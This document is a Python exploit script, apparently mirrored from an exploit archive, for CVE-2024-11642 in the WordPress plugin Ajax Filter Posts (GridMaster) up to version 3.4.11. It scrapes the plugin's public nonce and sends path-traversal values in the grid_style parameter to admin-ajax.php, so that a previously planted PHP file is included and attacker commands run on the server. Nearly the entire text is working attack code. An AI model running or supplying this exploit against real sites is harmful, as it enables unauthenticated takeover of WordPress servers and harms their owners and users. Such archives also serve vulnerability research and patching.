Share
## https://sploitus.com/exploit?id=PACKETSTORM:226392
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Ajax Filter Posts (GridMaster) <= 3.4.11 - Unauthenticated Local File Inclusion to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/ajax-filter-posts/
# Software Link: https://downloads.wordpress.org/plugin/ajax-filter-posts.3.4.11.zip
# Version: 3.4.11 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-11642
"""
Ajax Filter Posts <= 3.4.11 nopriv admin-ajax action asr_filter_posts passes argsArray[grid_style]
(only sanitize_text_field, keeps ../) into get_template_part -> load_template(templates/grid/
<grid_style>.php) (inc/Shortcode.php:649). A path-traversal grid_style pointing at an attacker
.php on disk includes and executes it -> RCE. The asr_ajax_nonce is printed globally on any
front-end page. Prior state: an attacker-controlled .php (setup_state.sh plants one in uploads).
"""
import argparse, sys, re
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--shell-relpath", default="wp-content/uploads/afpshell")
ap.add_argument("--cmd", default="id")
a = ap.parse_args(); base = a.target.rstrip("/")
s = requests.Session(); s.verify = False
m = re.search(r'asr_ajax_params[^{]*\{[^}]*?"nonce":"([a-f0-9]+)"', s.get(base + "/").text) \
or re.search(r'"nonce":"([a-f0-9]+)"', s.get(base + "/").text)
nonce = m.group(1) if m else None
print(f"[*] Target: {base} | asr nonce: {nonce}")
for depth in range(3, 10):
trav = "../" * depth + a.shell_relpath
r = s.post(base + "/wp-admin/admin-ajax.php",
data={"action": "asr_filter_posts", "nonce": nonce, "argsArray[grid_style]": trav},
params={"c": a.cmd}, timeout=20)
if "AFP_PWNED" in r.text:
print(f"\n[+] RCE CONFIRMED (LFI, depth={depth})\n{r.text.split('AFP_PWNED:')[1].strip()}")
return 0
print("\n[-] not confirmed (plant the .php via setup_state.sh)"); return 1
if __name__ == "__main__":
sys.exit(main())